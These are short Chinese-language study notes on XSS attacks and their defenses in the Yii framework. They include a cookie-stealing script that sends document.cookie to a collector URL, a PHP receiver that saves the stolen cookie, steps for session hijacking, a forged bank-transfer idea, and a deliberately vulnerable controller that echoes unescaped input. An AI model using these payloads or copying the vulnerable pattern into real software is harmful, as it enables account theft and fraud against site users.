XSS跨站脚本攻击
盗取用户账号
js插入的脚本
var cookie = document.cookie;
window.location.href='http://127.0.0.1/index.php?cookie'+cookie;
如果Set-Cookie 添加了 httponly 值, document.cookie是获取不到cookie值的。
index.php接收的代码
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt', $cookie);
获取seeion文件的cookie
在浏览器的调试模式下输入document.cookie = "获取到的cookie值"。执行
银行转账
页面上,注入js。用js把表单的内容写入进去,然后触发转账的click事件。
反射型的跨站攻击
<?php
namespace app\controllers;
use yii\web\Controller;
class ArticleController extends Controller{
//保存提交过来的数据
\YII::$app->response->headers->add('X-XSS-Protection', '0');
echo \YII::$app->request->get('name');
}
JS的
escape() 可以对特殊字符编码
unescape() 可以对特殊字符解码
Yii的防范
\yii\helpers\Html::encode($script); //对JavaScript代码进行编码
\yii\helpers\HtmlPurifier::process($script); //对JavaScript代码进行过滤